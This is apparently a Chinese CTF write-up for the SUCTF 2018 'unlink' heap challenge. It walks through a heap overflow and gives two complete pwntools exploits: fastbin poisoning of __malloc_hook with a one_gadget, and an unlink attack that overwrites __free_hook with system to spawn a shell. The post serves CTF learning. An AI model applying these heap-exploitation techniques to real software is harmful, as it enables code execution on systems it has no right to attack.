从一道题学到两个知识点+弄明白之前的疑惑。

[SUCTF 2018 招新赛]unlink

这道题有常规解法,可以直接打malloc_hook

漏洞点在edit函数里有堆溢出:

unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, (&buf)[v1], 0x100uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

使用realloc函数来调整栈帧让one_gadget生效

其中这题的libc版本为2.23,没有tcache机制,直接利用unsorted-bin泄露出libc基址打malloc_hook,这里注意申请的堆块大小为0x60(为了能够成功申请出来malloc_hook所在的堆块)

而且(唉唉唉,今天给电脑清灰把电脑自带的硅脂换了,换的硅脂巨垃圾,现在电脑CPU一个不注意就飙到100度,刚刚又买了一个利民的)

明天还得拆一次机(

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

p = process('./chall')
elf = ELF('./chall')
libc = ELF('./libc-2.23.so')

def choice(idx):
    p.sendlineafter("please chooice :", str(idx))

def add(size):
    choice(1)
    p.sendlineafter("please input the size :", str(size))

def free(idx):
    choice(2)
    p.sendlineafter("which node do you want to delete", str(idx))

def show(idx):
    choice(3)
    p.sendlineafter("which node do you want to show", str(idx))

def edit(idx, data):
    choice(4)
    p.sendlineafter("which one do you want modify :", str(idx))
    p.sendlineafter("please input the content", data)


add(0x100)#0
add(0x10)#1
free(0)
#gdb.attach(p)
add(0x100)#0
show(0)
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - (0x7f080cbc4b78-0x7f080c800000)
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
onegadget = libc_base + 0x4527a
realloc = libc_base + libc.sym['realloc']
add(0x10)#2
add(0x60)#3
add(0x60)#4
free(4)
free(3)
#gdb.attach(p)
edit(2,p64(0)*3+p64(0x71)+p64(malloc_hook - 0x23))
add(0x60)#3
add(0x60)#4
#gdb.attach(p)
edit(4, b'\x00'*0xb+p64(onegadget)+p64(realloc + 8))
add(0x10)
#gdb.attach(p)

p.interactive()

上面是常规的思路,明天具体学一下unlink机制。(先睡觉吧)

realloc函数里面有很多push操作,每push一次rsp就向低地址移八位。使得正好可以凑出来满足one_gadget条件的rsp,(比赛的时候试的速度可能比计算的更快)

这里主要是利用了malloc_hook->realloc+8->realloc_hook->onegadget

在程序中malloc_hook和realloc_hook是相邻的(如下图所示)

因为利用one_gadget是有条件的

我们在利用之前要首先看一下是否满足对应的条件

调试的时候意外发现:

也就是说我们也可以打IO吗(如果got表可写)

这里是已经用realloc调整完栈帧了,可以看到rsp-0x30的位置正好是0,可以利用第一个gadget

unlink好像不是很简单

unlink

首先创建三个堆块

然后编辑0号堆块,伪造fake-chunk的同时,为unlink做准备

payload = p64(0) + p64(0x20) + p64(buf - 0x18) + p64(buf - 0x10) + p64(0x20) + p64(0x90)

free触发unlink

此时0号堆块的位置被修改到了

泄露puts函数的got表地址

通过edit 0号堆块改1号堆块地址为free_hook,然后改2号堆块地址为/bin/sh的地址,然后改1号堆块的内容为system,然后free 2号堆块即可。

成功getshell

贴一下exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

p = process('./chall')
elf = ELF('./chall')
libc = ELF('./libc-2.23.so')

def get_addr():
    return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))

def debug():
    gdb.attach(p)

def choice(idx):
    p.sendlineafter("please chooice :", str(idx))

def add(size):
    choice(1)
    p.sendlineafter("please input the size :", str(size))

def free(idx):
    choice(2)
    p.sendlineafter("which node do you want to delete", str(idx))

def show(idx):
    choice(3)
    p.sendlineafter("which node do you want to show", str(idx))

def edit(idx, data):
    choice(4)
    p.sendlineafter("which one do you want modify :", str(idx))
    p.sendlineafter("please input the content", data)

#unlink的原理就是伪造fake-chunk,然后触发free时的合并操作,从而实现任意地址写的目的

buf = 0x6020C0
payload = p64(0) + p64(0x20) + p64(buf - 0x18) + p64(buf - 0x10) + p64(0x20) + p64(0x90)

#先给unlink构造一下堆风水
add(0x20)#0
add(0x80)#1 free触发unlink
add(0x100)#2 防止与top chunk合并

edit(0,payload)

free(1)

edit(0,p64(0)*3+p64(buf+8))

payload = p64(elf.got['puts'])
edit(0,payload)
show(1)
leak = get_addr()
print(hex(leak))

libc_base = leak - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
free_hook = libc_base + libc.sym['__free_hook']
payload = p64(system)
edit(0, p64(free_hook) + p64(binsh_addr))
edit(1, p64(system))

debug()
free(2)
p.interactive()
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...